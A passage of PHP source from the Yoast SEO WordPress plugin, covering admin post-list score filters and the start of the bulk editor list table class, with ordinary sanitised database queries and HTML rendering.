		// This only applies for the SEO score filter because it can because the SEO score can be altered by the no-index option.
		if ( $this->is_valid_filter( $current_seo_filter ) && ! in_array( $current_seo_filter, [ WPSEO_Rank::NO_INDEX ], true ) ) {
			$result['meta_query'] = array_merge( $result['meta_query'], [ $this->get_meta_robots_query_values() ] );
		}

		return array_merge( $vars, $result );
	}

	/**
	 * Creates a Readability score filter.
	 *
	 * @param number $low  The lower boundary of the score.
	 * @param number $high The higher boundary of the score.
	 *
	 * @return array<array<string>> The Readability Score filter.
	 */
	protected function create_readability_score_filter( $low, $high ) {
		return [
			[
				'key'     => WPSEO_Meta::$meta_prefix . 'content_score',
				'value'   => [ $low, $high ],
				'type'    => 'numeric',
				'compare' => 'BETWEEN',
			],
		];
	}

	/**
	 * Creates an SEO score filter.
	 *
	 * @param number $low  The lower boundary of the score.
	 * @param number $high The higher boundary of the score.
	 *
	 * @return array<array<string>> The SEO score filter.
	 */
	protected function create_seo_score_filter( $low, $high ) {
		return [
			[
				'key'     => WPSEO_Meta::$meta_prefix . 'linkdex',
				'value'   => [ $low, $high ],
				'type'    => 'numeric',
				'compare' => 'BETWEEN',
			],
		];
	}

	/**
	 * Creates a filter to retrieve posts that were set to no-index.
	 *
	 * @return array<array<string>> Array containin the no-index filter.
	 */
	protected function create_no_index_filter() {
		return [
			[
				'key'     => WPSEO_Meta::$meta_prefix . 'meta-robots-noindex',
				'value'   => '1',
				'compare' => '=',
			],
		];
	}

	/**
	 * Creates a filter to retrieve posts that have no keyword set.
	 *
	 * @return array<array<string>> Array containing the no focus keyword filter.
	 */
	protected function create_no_focus_keyword_filter() {
		return [
			[
				'key'     => WPSEO_Meta::$meta_prefix . 'linkdex',
				'value'   => 'needs-a-value-anyway',
				'compare' => 'NOT EXISTS',
			],
		];
	}

	/**
	 * Creates a filter to retrieve posts that have not been analyzed for readability yet.
	 *
	 * @return array<array<string>> Array containing the no readability filter.
	 */
	protected function create_no_readability_scores_filter() {
		// We check the existence of the Estimated Reading Time, because readability scores of posts that haven't been manually saved while Yoast SEO is active, don't exist, which is also the case for posts with not enough content.
		// Meanwhile, the ERT is a solid indicator of whether a post has ever been saved (aka, analyzed), so we're using that.
		$rank = new WPSEO_Rank( WPSEO_Rank::BAD );
		return [
			[
				'key'     => WPSEO_Meta::$meta_prefix . 'estimated-reading-time-minutes',
				'value'   => 'needs-a-value-anyway',
				'compare' => 'NOT EXISTS',
			],
			[
				'relation' => 'OR',
				[
					'key'     => WPSEO_Meta::$meta_prefix . 'content_score',
					'value'   => $rank->get_starting_score(),
					'type'    => 'numeric',
					'compare' => '<',
				],
				[
					'key'     => WPSEO_Meta::$meta_prefix . 'content_score',
					'value'   => 'needs-a-value-anyway',
					'compare' => 'NOT EXISTS',
				],
			],
		];
	}

	/**
	 * Creates a filter to retrieve posts that have bad readability scores, including those that have not enough content to have one.
	 *
	 * @return array<array<string>> Array containing the bad readability filter.
	 */
	protected function create_bad_readability_scores_filter() {
		$rank = new WPSEO_Rank( WPSEO_Rank::BAD );
		return [
			'relation' => 'OR',
			[
				'key'     => WPSEO_Meta::$meta_prefix . 'content_score',
				'value'   => [ $rank->get_starting_score(), $rank->get_end_score() ],
				'type'    => 'numeric',
				'compare' => 'BETWEEN',
			],
			[
				[
					'key'     => WPSEO_Meta::$meta_prefix . 'content_score',
					'value'   => 'needs-a-value-anyway',
					'compare' => 'NOT EXISTS',
				],
				[
					'key'     => WPSEO_Meta::$meta_prefix . 'estimated-reading-time-minutes',
					'compare' => 'EXISTS',
				],
			],
		];
	}

	/**
	 * Determines whether a particular post_id is of an indexable post type.
	 *
	 * @param string $post_id The post ID to check.
	 *
	 * @return bool Whether or not it is indexable.
	 */
	protected function is_indexable( $post_id ) {
		if ( ! empty( $post_id ) && ! $this->uses_default_indexing( $post_id ) ) {
			return WPSEO_Meta::get_value( 'meta-robots-noindex', $post_id ) === '2';
		}

		$post = get_post( $post_id );

		if ( is_object( $post ) ) {
			// If the option is false, this means we want to index it.
			return WPSEO_Options::get( 'noindex-' . $post->post_type, false ) === false;
		}

		return true;
	}

	/**
	 * Determines whether the given post ID uses the default indexing settings.
	 *
	 * @param int $post_id The post ID to check.
	 *
	 * @return bool Whether or not the default indexing is being used for the post.
	 */
	protected function uses_default_indexing( $post_id ) {
		return WPSEO_Meta::get_value( 'meta-robots-noindex', $post_id ) === '0';
	}

	/**
	 * Returns filters when $order_by is matched in the if-statement.
	 *
	 * @param string $order_by The ID of the column by which to order the posts.
	 *
	 * @return array<string> Array containing the order filters.
	 */
	private function filter_order_by( $order_by ) {
		switch ( $order_by ) {
			case 'wpseo-metadesc':
				return [
					// phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_key -- Reason: Only used when user requests sorting.
					'meta_key' => WPSEO_Meta::$meta_prefix . 'metadesc',
					'orderby'  => 'meta_value',
				];

			case 'wpseo-focuskw':
				return [
					// phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_key -- Reason: Only used when user requests sorting.
					'meta_key' => WPSEO_Meta::$meta_prefix . 'focuskw',
					'orderby'  => 'meta_value',
				];

			case 'wpseo-score':
				return [
					// phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_key -- Reason: Only used when user requests sorting.
					'meta_key' => WPSEO_Meta::$meta_prefix . 'linkdex',
					'orderby'  => 'meta_value_num',
				];

			case 'wpseo-score-readability':
				return [
					// phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_key -- Reason: Only used when user requests sorting.
					'meta_key' => WPSEO_Meta::$meta_prefix . 'content_score',
					'orderby'  => 'meta_value_num',
				];
		}

		return [];
	}

	/**
	 * Parses the score column.
	 *
	 * @param int $post_id The ID of the post for which to show the score.
	 *
	 * @return string The HTML for the SEO score indicator.
	 */
	private function parse_column_score( $post_id ) {
		$meta = $this->get_meta( $post_id );

		if ( $meta ) {
			return $this->score_icon_helper->for_seo( $meta->indexable, '', __( 'Post is set to noindex.', 'wordpress-seo' ) );
		}
	}

	/**
	 * Parsing the readability score column.
	 *
	 * @param int $post_id The ID of the post for which to show the readability score.
	 *
	 * @return string The HTML for the readability score indicator.
	 */
	private function parse_column_score_readability( $post_id ) {
		$meta = $this->get_meta( $post_id );
		if ( $meta ) {
			return $this->score_icon_helper->for_readability( $meta->indexable->readability_score );
		}
	}

	/**
	 * Sets up the hooks for the post_types.
	 *
	 * @return void
	 */
	private function set_post_type_hooks() {
		$post_types = WPSEO_Post_Type::get_accessible_post_types();

		if ( ! is_array( $post_types ) || $post_types === [] ) {
			return;
		}

		foreach ( $post_types as $post_type ) {
			if ( $this->display_metabox( $post_type ) === false ) {
				continue;
			}

			add_filter( 'manage_' . $post_type . '_posts_columns', [ $this, 'column_heading' ], 10, 1 );
			add_action( 'manage_' . $post_type . '_posts_custom_column', [ $this, 'column_content' ], 10, 2 );
			add_action( 'manage_edit-' . $post_type . '_sortable_columns', [ $this, 'column_sort' ], 10, 2 );
		}

		unset( $post_type );
	}

	/**
	 * Wraps the WPSEO_Metabox check to determine whether the metabox should be displayed either by
	 * choice of the admin or because the post type is not a public post type.
	 *
	 * @since 7.0
	 *
	 * @param string|null $post_type Optional. The post type to test, defaults to the current post post_type.
	 *
	 * @return bool Whether or not the meta box (and associated columns etc) should be hidden.
	 */
	private function display_metabox( $post_type = null ) {
		$current_post_type = $this->get_current_post_type();

		if ( ! isset( $post_type ) && ! empty( $current_post_type ) ) {
			$post_type = $current_post_type;
		}

		return WPSEO_Utils::is_metabox_active( $post_type, 'post_type' );
	}

	/**
	 * Determines whether or not filter dropdowns should be displayed.
	 *
	 * @return bool Whether or the current page can display the filter drop downs.
	 */
	public function can_display_filter() {
		if ( $GLOBALS['pagenow'] === 'upload.php' ) {
			return false;
		}

		if ( $this->display_metabox() === false ) {
			return false;
		}

		$screen = get_current_screen();
		if ( $screen === null ) {
			return false;
		}

		return WPSEO_Post_Type::is_post_type_accessible( $screen->post_type );
	}
}
wordpress-seo/admin/class-bulk-editor-list-table.php000064400000072631147510273100016554 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Bulk Editor
 * @since   1.5.0
 */

/**
 * Implements table for bulk editing.
 */
class WPSEO_Bulk_List_Table extends WP_List_Table {

	/**
	 * The nonce that was passed with the request.
	 *
	 * @var string
	 */
	private $nonce;

	/**
	 * Array of post types for which the current user has `edit_others_posts` capabilities.
	 *
	 * @var array
	 */
	private $all_posts;

	/**
	 * Array of post types for which the current user has `edit_posts` capabilities, but not `edit_others_posts`.
	 *
	 * @var array
	 */
	private $own_posts;

	/**
	 * Saves all the metadata into this array.
	 *
	 * @var array
	 */
	protected $meta_data = [];

	/**
	 * The current requested page_url.
	 *
	 * @var string
	 */
	private $request_url = '';

	/**
	 * The current page (depending on $_GET['paged']) if current tab is for current page_type, else it will be 1.
	 *
	 * @var int
	 */
	private $current_page;

	/**
	 * The current post filter, if is used (depending on $_GET['post_type_filter']).
	 *
	 * @var string
	 */
	private $current_filter;

	/**
	 * The current post status, if is used (depending on $_GET['post_status']).
	 *
	 * @var string
	 */
	private $current_status;

	/**
	 * The current sorting, if used (depending on $_GET['order'] and $_GET['orderby']).
	 *
	 * @var string
	 */
	private $current_order;

	/**
	 * The page_type for current class instance (for example: title / description).
	 *
	 * @var string
	 */
	protected $page_type;

	/**
	 * Based on the page_type ($this->page_type) there will be constructed an url part, for subpages and
	 * navigation.
	 *
	 * @var string
	 */
	protected $page_url;

	/**
	 * The settings which will be used in the __construct.
	 *
	 * @var array
	 */
	protected $settings;

	/**
	 * Holds the pagination config.
	 *
	 * @var array
	 */
	protected $pagination = [];

	/**
	 * Holds the sanitized data from the user input.
	 *
	 * @var array
	 */
	protected $input_fields = [];

	/**
	 * The field in the database where meta field is saved.
	 *
	 * Should be set in the child class.
	 *
	 * @var string
	 */
	protected $target_db_field = '';

	/**
	 * Class constructor.
	 *
	 * @param array $args The arguments.
	 */
	public function __construct( $args = [] ) {
		parent::__construct( $this->settings );

		$args = wp_parse_args(
			$args,
			[
				'nonce'        => '',
				'input_fields' => [],
			]
		);

		$this->input_fields = $args['input_fields'];
		if ( isset( $_SERVER['REQUEST_URI'] ) ) {
			$this->request_url = sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) );
		}

		$this->current_page   = ( ! empty( $this->input_fields['paged'] ) ) ? $this->input_fields['paged'] : 1;
		$this->current_filter = ( ! empty( $this->input_fields['post_type_filter'] ) ) ? $this->input_fields['post_type_filter'] : 1;
		$this->current_status = ( ! empty( $this->input_fields['post_status'] ) ) ? $this->input_fields['post_status'] : 1;
		$this->current_order  = [
			'order'   => ( ! empty( $this->input_fields['order'] ) ) ? $this->input_fields['order'] : 'asc',
			'orderby' => ( ! empty( $this->input_fields['orderby'] ) ) ? $this->input_fields['orderby'] : 'post_title',
		];

		$this->nonce    = $args['nonce'];
		$this->page_url = "&nonce={$this->nonce}&type={$this->page_type}#top#{$this->page_type}";

		$this->populate_editable_post_types();
	}

	/**
	 * Prepares the data and renders the page.
	 *
	 * @return void
	 */
	public function show_page() {
		$this->prepare_page_navigation();
		$this->prepare_items();

		$this->views();
		$this->display();
	}

	/**
	 * Used in the constructor to build a reference list of post types the current user can edit.
	 *
	 * @return void
	 */
	protected function populate_editable_post_types() {
		$post_types = get_post_types(
			[
				'public'              => true,
				'exclude_from_search' => false,
			],
			'object'
		);

		$this->all_posts = [];
		$this->own_posts = [];

		if ( is_array( $post_types ) && $post_types !== [] ) {
			foreach ( $post_types as $post_type ) {
				if ( ! current_user_can( $post_type->cap->edit_posts ) ) {
					continue;
				}

				if ( current_user_can( $post_type->cap->edit_others_posts ) ) {
					$this->all_posts[] = esc_sql( $post_type->name );
				}
				else {
					$this->own_posts[] = esc_sql( $post_type->name );
				}
			}
		}
	}

	/**
	 * Will show the navigation for the table like page navigation and page filter.
	 *
	 * @param string $which Table nav location (such as top).
	 *
	 * @return void
	 */
	public function display_tablenav( $which ) {
		// phpcs:disable WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		$post_status      = isset( $_GET['post_status'] ) && is_string( $_GET['post_status'] ) ? sanitize_text_field( wp_unslash( $_GET['post_status'] ) ) : '';
		$order_by         = isset( $_GET['orderby'] ) && is_string( $_GET['orderby'] ) ? sanitize_text_field( wp_unslash( $_GET['orderby'] ) ) : '';
		$order            = isset( $_GET['order'] ) && is_string( $_GET['order'] ) ? sanitize_text_field( wp_unslash( $_GET['order'] ) ) : '';
		$post_type_filter = isset( $_GET['post_type_filter'] ) && is_string( $_GET['post_type_filter'] ) ? sanitize_text_field( wp_unslash( $_GET['post_type_filter'] ) ) : '';
		// phpcs:enable WordPress.Security.NonceVerification.Recommended;
		?>
		<div class="tablenav <?php echo esc_attr( $which ); ?>">

			<?php if ( $which === 'top' ) { ?>
			<form id="posts-filter" action="" method="get">
				<input type="hidden" name="nonce" value="<?php echo esc_attr( $this->nonce ); ?>"/>
				<input type="hidden" name="page" value="wpseo_tools"/>
				<input type="hidden" name="tool" value="bulk-editor"/>
				<input type="hidden" name="type" value="<?php echo esc_attr( $this->page_type ); ?>"/>
				<input type="hidden" name="orderby"
					value="<?php echo esc_attr( $order_by ); ?>"/>
				<input type="hidden" name="order"
					value="<?php echo esc_attr( $order ); ?>"/>
				<input type="hidden" name="post_type_filter"
					value="<?php echo esc_attr( $post_type_filter ); ?>"/>
				<?php if ( ! empty( $post_status ) ) { ?>
					<input type="hidden" name="post_status" value="<?php echo esc_attr( $post_status ); ?>"/>
				<?php } ?>
				<?php } ?>

				<?php
				$this->extra_tablenav( $which );
				$this->pagination( $which );
				?>

				<br class="clear"/>
				<?php if ( $which === 'top' ) { ?>
			</form>
		<?php } ?>
		</div>

		<?php
	}

	/**
	 * This function builds the base sql subquery used in this class.
	 *
	 * This function takes into account the post types in which the current user can
	 * edit all posts, and the ones the current user can only edit his/her own.
	 *
	 * @return string The subquery, which should always be used in $wpdb->prepare(),
	 *                passing the current user_id in as the first parameter.
	 */
	public function get_base_subquery() {
		global $wpdb;

		$all_posts_string = "'" . implode( "', '", $this->all_posts ) . "'";
		$own_posts_string = "'" . implode( "', '", $this->own_posts ) . "'";

		$post_author = esc_sql( (int) get_current_user_id() );

		$subquery = "(
				SELECT *
				FROM {$wpdb->posts}
				WHERE post_type IN ({$all_posts_string})
				UNION ALL
				SELECT *
				FROM {$wpdb->posts}
				WHERE post_type IN ({$own_posts_string}) AND post_author = {$post_author}
			) sub_base";

		return $subquery;
	}

	/**
	 * Gets the views.
	 *
	 * @return array The views.
	 */
	public function get_views() {
		global $wpdb;

		$status_links = [];

		$states   = get_post_stati( [ 'show_in_admin_all_list' => true ] );
		$subquery = $this->get_base_subquery();

		$total_posts = $wpdb->get_var(
			$wpdb->prepare(
				"SELECT COUNT(ID) FROM {$subquery}
					WHERE post_status IN ("
						. implode( ', ', array_fill( 0, count( $states ), '%s' ) )
					. ')',
				$states
			)
		);

		$post_status             = isset( $_GET['post_status'] ) && is_string( $_GET['post_status'] ) ? sanitize_text_field( wp_unslash( $_GET['post_status'] ) ) : '';
		$current_link_attributes = empty( $post_status ) ? ' class="current" aria-current="page"' : '';
		$localized_text          = sprintf(
			/* translators: %s expands to the number of posts in localized format. */
			_nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $total_posts, 'posts', 'wordpress-seo' ),
			number_format_i18n( $total_posts )
		);

		$status_links['all'] = '<a href="' . esc_url( admin_url( 'admin.php?page=wpseo_tools&tool=bulk-editor' . $this->page_url ) ) . '"' . $current_link_attributes . '>' . $localized_text . '</a>';

		$post_stati = get_post_stati( [ 'show_in_admin_all_list' => true ], 'objects' );
		if ( is_array( $post_stati ) && $post_stati !== [] ) {
			foreach ( $post_stati as $status ) {

				$status_name = esc_sql( $status->name );

				$total = (int) $wpdb->get_var(
					$wpdb->prepare(
						"
								SELECT COUNT(ID) FROM {$subquery}
								WHERE post_status = %s
							",
						$status_name
					)
				);

				if ( $total === 0 ) {
					continue;
				}

				$current_link_attributes = '';
				if ( $status_name === $post_status ) {
					$current_link_attributes = ' class="current" aria-current="page"';
				}

				$status_links[ $status_name ] = '<a href="' . esc_url( add_query_arg( [ 'post_status' => $status_name ], admin_url( 'admin.php?page=wpseo_tools&tool=bulk-editor' . $this->page_url ) ) ) . '"' . $current_link_attributes . '>' . sprintf( translate_nooped_plural( $status->label_count, $total ), number_format_i18n( $total ) ) . '</a>';
			}
		}
		unset( $post_stati, $status, $status_name, $total, $current_link_attributes );

		$trashed_posts = $wpdb->get_var(
			"SELECT COUNT(ID) FROM {$subquery}
				WHERE post_status IN ('trash')
			"
		);

		$current_link_attributes = '';
		if ( $post_status === 'trash' ) {
			$current_link_attributes = 'class="current" aria-current="page"';
		}

		$localized_text = sprintf(
			/* translators: %s expands to the number of trashed posts in localized format. */
			_nx( 'Trash <span class="count">(%s)</span>', 'Trash <span class="count">(%s)</span>', $trashed_posts, 'posts', 'wordpress-seo' ),
			number_format_i18n( $trashed_posts )
		);

		$status_links['trash'] = '<a href="' . esc_url( admin_url( 'admin.php?page=wpseo_tools&tool=bulk-editor&post_status=trash' . $this->page_url ) ) . '"' . $current_link_attributes . '>' . $localized_text . '</a>';

		return $status_links;
	}

	/**
	 * Outputs extra table navigation.
	 *
	 * @param string $which Table nav location (such as top).
	 *
	 * @return void
	 */
	public function extra_tablenav( $which ) {

		if ( $which === 'top' ) {
			$post_types = get_post_types(
				[
					'public'              => true,
					'exclude_from_search' => false,
				]
			);

			$instance_type = esc_attr( $this->page_type );

			if ( is_array( $post_types ) && $post_types !== [] ) {
				global $wpdb;

				echo '<div class="alignleft actions">';

				$post_types = esc_sql( $post_types );
				$post_types = "'" . implode( "', '", $post_types ) . "'";

				$states          = get_post_stati( [ 'show_in_admin_all_list' => true ] );
				$states['trash'] = 'trash';

				$subquery = $this->get_base_subquery();

				$post_types = $wpdb->get_results(
					$wpdb->prepare(
						"SELECT DISTINCT post_type FROM {$subquery}
							WHERE post_status IN ("
								. implode( ', ', array_fill( 0, count( $states ), '%s' ) )
							. ') ORDER BY post_type ASC',
						$states
					)
				);

				$post_type_filter = isset( $_GET['post_type_filter'] ) && is_string( $_GET['post_type_filter'] ) ? sanitize_text_field( wp_unslash( $_GET['post_type_filter'] ) ) : '';
				$selected         = ( ! empty( $post_type_filter ) ) ? $post_type_filter : '-1';

				$options = '<option value="-1">' . esc_html__( 'Show All Content Types', 'wordpress-seo' ) . '</option>';

				if ( is_array( $post_types ) && $post_types !== [] ) {
					foreach ( $post_types as $post_type ) {
						$obj      = get_post_type_object( $post_type->post_type );
						$options .= sprintf(
							'<option value="%2$s" %3$s>%1$s</option>',
							esc_html( $obj->labels->name ),
							esc_attr( $post_type->post_type ),
							selected( $selected, $post_type->post_type, false )
						);
					}
				}

				printf(
					'<label for="%1$s" class="screen-reader-text">%2$s</label>',
					esc_attr( 'post-type-filter-' . $instance_type ),
					/* translators: Hidden accessibility text. */
					esc_html__( 'Filter by content type', 'wordpress-seo' )
				);
				printf(
					'<select name="post_type_filter" id="%2$s">%1$s</select>',
					// phpcs:ignore WordPress.Security.EscapeOutput -- Reason: $options is properly escaped above.
					$options,
					esc_attr( 'post-type-filter-' . $instance_type )
				);

				submit_button( esc_html__( 'Filter', 'wordpress-seo' ), 'button', false, false, [ 'id' => 'post-query-submit' ] );
				echo '</div>';
			}
		}
	}

	/**
	 * Gets a list of sortable columns.
	 *
	 * The format is: 'internal-name' => array( 'orderby', bool ).
	 *
	 * @return array
	 */
	public function get_sortable_columns() {
		return [
			'col_page_title' => [ 'post_title', true ],
			'col_post_type'  => [ 'post_type', false ],
			'col_post_date'  => [ 'post_date', false ],
		];
	}

	/**
	 * Sets the correct pagenumber and pageurl for the navigation.
	 *
	 * @return void
	 */
	public function prepare_page_navigation() {

		$request_url = $this->request_url . $this->page_url;

		$current_page   = $this->current_page;
		$current_filter = $this->current_filter;
		$current_status = $this->current_status;
		$current_order  = $this->current_order;

		/*
		 * If current type doesn't compare with objects page_type, then we have to unset
		 * some vars in the requested url (which will be used for internal table urls).
		 */
		if ( isset( $this->input_fields['type'] ) && $this->input_fields['type'] !== $this->page_type ) {
			$request_url = remove_query_arg( 'paged', $request_url ); // Page will be set with value 1 below.
			$request_url = remove_query_arg( 'post_type_filter', $request_url );
			$request_url = remove_query_arg( 'post_status', $request_url );
			$request_url = remove_query_arg( 'orderby', $request_url );
			$request_url = remove_query_arg( 'order', $request_url );
			$request_url = add_query_arg( 'pages', 1, $request_url );

			$current_page   = 1;
			$current_filter = '-1';
			$current_status = '';
			$current_order  = [
				'orderby' => 'post_title',
				'order'   => 'asc',
			];
		}

		$_SERVER['REQUEST_URI'] = $request_url;

		$_GET['paged']                = $current_page;
		$_REQUEST['paged']            = $current_page;
		$_REQUEST['post_type_filter'] = $current_filter;
		$_GET['post_type_filter']     = $current_filter;
		$_GET['post_status']          = $current_status;
		$_GET['orderby']              = $current_order['orderby'];
		$_GET['order']                = $current_order['order'];
	}

	/**
	 * Preparing the requested pagerows and setting the needed variables.
	 *
	 * @return void
	 */
	public function prepare_items() {

		$post_type_clause = $this->get_post_type_clause();
		$all_states       = $this->get_all_states();
		$subquery         = $this->get_base_subquery();

		// Setting the column headers.
		$this->set_column_headers();

		// Count the total number of needed items and setting pagination given $total_items.
		$total_items = $this->count_items( $subquery, $all_states, $post_type_clause );
		$this->set_pagination( $total_items );

		// Getting items given $query.
		$query = $this->parse_item_query( $subquery, $all_states, $post_type_clause );
		$this->get_items( $query );

		// Get the metadata for the current items ($this->items).
		$this->get_meta_data();
	}

	/**
	 * Getting the columns for first row.
	 *
	 * @return array
	 */
	public function get_columns() {
		return $this->merge_columns();
	}

	/**
	 * Setting the column headers.
	 *
	 * @return void
	 */
	protected function set_column_headers() {
		$columns               = $this->get_columns();
		$hidden                = [];
		$sortable              = $this->get_sortable_columns();
		$this->_column_headers = [ $columns, $hidden, $sortable ];
	}

	/**
	 * Counting total items.
	 *
	 * @param string $subquery         SQL FROM part.
	 * @param string $all_states       SQL IN part.
	 * @param string $post_type_clause SQL post type part.
	 *
	 * @return mixed
	 */
	protected function count_items( $subquery, $all_states, $post_type_clause ) {
		global $wpdb;

		return (int) $wpdb->get_var(
			"SELECT COUNT(ID) FROM {$subquery}
				WHERE post_status IN ({$all_states})
					{$post_type_clause}
			"
		);
	}

	/**
	 * Getting the post_type_clause filter.
	 *
	 * @return string
	 */
	protected function get_post_type_clause() {
		// Filter Block.
		$post_type_clause = '';
		$post_type_filter = isset( $_GET['post_type_filter'] ) && is_string( $_GET['post_type_filter'] ) ? sanitize_text_field( wp_unslash( $_GET['post_type_filter'] ) ) : '';

		if ( ! empty( $post_type_filter ) && get_post_type_object( $post_type_filter ) ) {
			$post_types       = esc_sql( $post_type_filter );
			$post_type_clause = "AND post_type IN ('{$post_types}')";
		}

		return $post_type_clause;
	}

	/**
	 * Setting the pagination.
	 *
	 * Total items is the number of all visible items.
	 *
	 * @param int $total_items Total items counts.
	 *
	 * @return void
	 */
	protected function set_pagination( $total_items ) {
		// Calculate items per page.
		$per_page = $this->get_items_per_page( 'wpseo_posts_per_page', 10 );
		$paged    = isset( $_GET['paged'] ) && is_string( $_GET['paged'] ) ? esc_sql( sanitize_text_field( wp_unslash( $_GET['paged'] ) ) ) : '';

		if ( empty( $paged ) || ! is_numeric( $paged ) ) {
			$paged = 1;
		}
		else {
			$paged = (int) $paged;
		}

		if ( $paged <= 0 ) {
			$paged = 1;
		}

		$this->set_pagination_args(
			[
				'total_items' => $total_items,
				'total_pages' => ceil( $total_items / $per_page ),
				'per_page'    => $per_page,
			]
		);

		$this->pagination = [
			'per_page' => $per_page,
			'offset'   => ( ( $paged - 1 ) * $per_page ),
		];
	}

	/**
	 * Parse the query to get items from database.
	 *
	 * Based on given parameters there will be parse a query which will get all the pages/posts and other post_types
	 * from the database.
	 *
	 * @param string $subquery         SQL FROM part.
	 * @param string $all_states       SQL IN part.
	 * @param string $post_type_clause SQL post type part.
	 *
	 * @return string
	 */
	protected function parse_item_query( $subquery, $all_states, $post_type_clause ) {
		// Order By block.
		$orderby = isset( $_GET['orderby'] ) && is_string( $_GET['orderby'] ) ? sanitize_text_field( wp_unslash( $_GET['orderby'] ) ) : '';

		$orderby = ! empty( $orderby ) ? esc_sql( $orderby ) : 'post_title';
		$orderby = $this->sanitize_orderby( $orderby );

		// Order clause.
		$order = isset( $_GET['order'] ) && is_string( $_GET['order'] ) ? sanitize_text_field( wp_unslash( $_GET['order'] ) ) : '';
		$order = ! empty( $order ) ? esc_sql( strtoupper( $order ) ) : 'ASC';
		$order = $this->sanitize_order( $order );

		// Get all needed results.
		$query = "
			SELECT ID, post_title, post_type, post_status, post_modified, post_date
				FROM {$subquery}
				WHERE post_status IN ({$all_states}) $post_type_clause
				ORDER BY {$orderby} {$order}
				LIMIT %d,%d
			";

		return $query;
	}

	/**
	 * Heavily restricts the possible columns by which a user can order the table
	 * in the bulk editor, thereby preventing a possible CSRF vulnerability.
	 *
	 * @param string $orderby The column by which we want to order.
	 *
	 * @return string
	 */
	protected function sanitize_orderby( $orderby ) {
		$valid_column_names = [
			'post_title',
			'post_type',
			'post_date',
		];

		if ( in_array( $orderby, $valid_column_names, true ) ) {
			return $orderby;
		}

		return 'post_title';
	}

	/**
	 * Makes sure the order clause is always ASC or DESC for the bulk editor table,
	 * thereby preventing a possible CSRF vulnerability.
	 *
	 * @param string $order Whether we want to sort ascending or descending.
	 *
	 * @return string SQL order string (ASC, DESC).
	 */
	protected function sanitize_order( $order ) {
		if ( in_array( strtoupper( $order ), [ 'ASC', 'DESC' ], true ) ) {
			return $order;
		}

		return 'ASC';
	}

	/**
	 * Getting all the items.
	 *
	 * @param string $query SQL query to use.
	 *
	 * @return void
	 */
	protected function get_items( $query ) {
		global $wpdb;

		$this->items = $wpdb->get_results(
			$wpdb->prepare(
				$query,
				$this->pagination['offset'],
				$this->pagination['per_page']
			)
		);
	}

	/**
	 * Getting all the states.
	 *
	 * @return string
	 */
	protected function get_all_states() {
		global $wpdb;

		$states          = get_post_stati( [ 'show_in_admin_all_list' => true ] );
		$states['trash'] = 'trash';

		if ( ! empty( $this->input_fields['post_status'] ) ) {
			$requested_state = $this->input_fields['post_status'];
			if ( in_array( $requested_state, $states, true ) ) {
				$states = [ $requested_state ];
			}

			if ( $requested_state !== 'trash' ) {
				unset( $states['trash'] );
			}
		}

		return $wpdb->prepare(
			implode( ', ', array_fill( 0, count( $states ), '%s' ) ),
			$states
		);
	}

	/**
	 * Based on $this->items and the defined columns, the table rows will be displayed.
	 *
	 * @return void
	 */
	public function display_rows() {

		$records = $this->items;

		list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info();

		if ( ( is_array( $records ) && $records !== [] ) && ( is_array( $columns ) && $columns !== [] ) ) {

			foreach ( $records as $record ) {

				echo '<tr id="', esc_attr( 'record_' . $record->ID ), '">';

				foreach ( $columns as $column_name => $column_display_name ) {

					$classes = '';
					if ( $primary === $column_name ) {
						$classes .= ' has-row-actions column-primary';
					}

					$attributes = $this->column_attributes( $column_name, $hidden, $classes, $column_display_name );

					$column_value = $this->parse_column( $column_name, $record );

					if ( method_exists( $this, 'parse_page_specific_column' ) && empty( $column_value ) ) {
						$column_value = $this->parse_page_specific_column( $column_name, $record, $attributes );
					}

					if ( ! empty( $column_value ) ) {
						printf( '<td %2$s>%1$s</td>', $column_value, $attributes );
					}
				}

				echo '</tr>';
			}
		}
	}

	/**
	 * Getting the attributes for each table cell.
	 *
	 * @param string $column_name         Column name string.
	 * @param array  $hidden              Set of hidden columns.
	 * @param string $classes             Additional CSS classes.
	 * @param string $column_display_name Column display name string.
	 *
	 * @return string
	 */
	protected function column_attributes( $column_name, $hidden, $classes, $column_display_name ) {

		$attributes = '';
		$class      = [ $column_name, "column-$column_name$classes" ];

		if ( in_array( $column_name, $hidden, true ) ) {
			$class[] = 'hidden';
		}

		if ( ! empty( $class ) ) {
			$attributes = 'class="' . esc_attr( implode( ' ', $class ) ) . '"';
		}

		$attributes .= ' data-colname="' . esc_attr( $column_display_name ) . '"';

		return $attributes;
	}

	/**
	 * Parsing the title.
	 *
	 * @param WP_Post $rec Post object.
	 *
	 * @return string
	 */
	protected function parse_page_title_column( $rec ) {

		$title = empty( $rec->post_title ) ? __( '(no title)', 'wordpress-seo' ) : $rec->post_title;

		$return = sprintf( '<strong>%1$s</strong>', stripslashes( wp_strip_all_tags( $title ) ) );

		$post_type_object = get_post_type_object( $rec->post_type );
		$can_edit_post    = current_user_can( $post_type_object->cap->edit_post, $rec->ID );

		$actions = [];

		if ( $can_edit_post && $rec->post_status !== 'trash' ) {
			$actions['edit'] = sprintf(
				'<a href="%s" aria-label="%s">%s</a>',
				esc_url( get_edit_post_link( $rec->ID, true ) ),
				/* translators: Hidden accessibility text; %s: post title. */
				esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;', 'wordpress-seo' ), $title ) ),
				__( 'Edit', 'wordpress-seo' )
			);
		}

		if ( $post_type_object->public ) {
			if ( in_array( $rec->post_status, [ 'pending', 'draft', 'future' ], true ) ) {
				if ( $can_edit_post ) {
					$actions['view'] = sprintf(
						'<a href="%s" aria-label="%s">%s</a>',
						esc_url( add_query_arg( 'preview', 'true', get_permalink( $rec->ID ) ) ),
						/* translators: Hidden accessibility text; %s: post title. */
						esc_attr( sprintf( __( 'Preview &#8220;%s&#8221;', 'wordpress-seo' ), $title ) ),
						__( 'Preview', 'wordpress-seo' )
					);
				}
			}
			elseif ( $rec->post_status !== 'trash' ) {
				$actions['view'] = sprintf(
					'<a href="%s" aria-label="%s" rel="bookmark">%s</a>',
					esc_url( get_permalink( $rec->ID ) ),
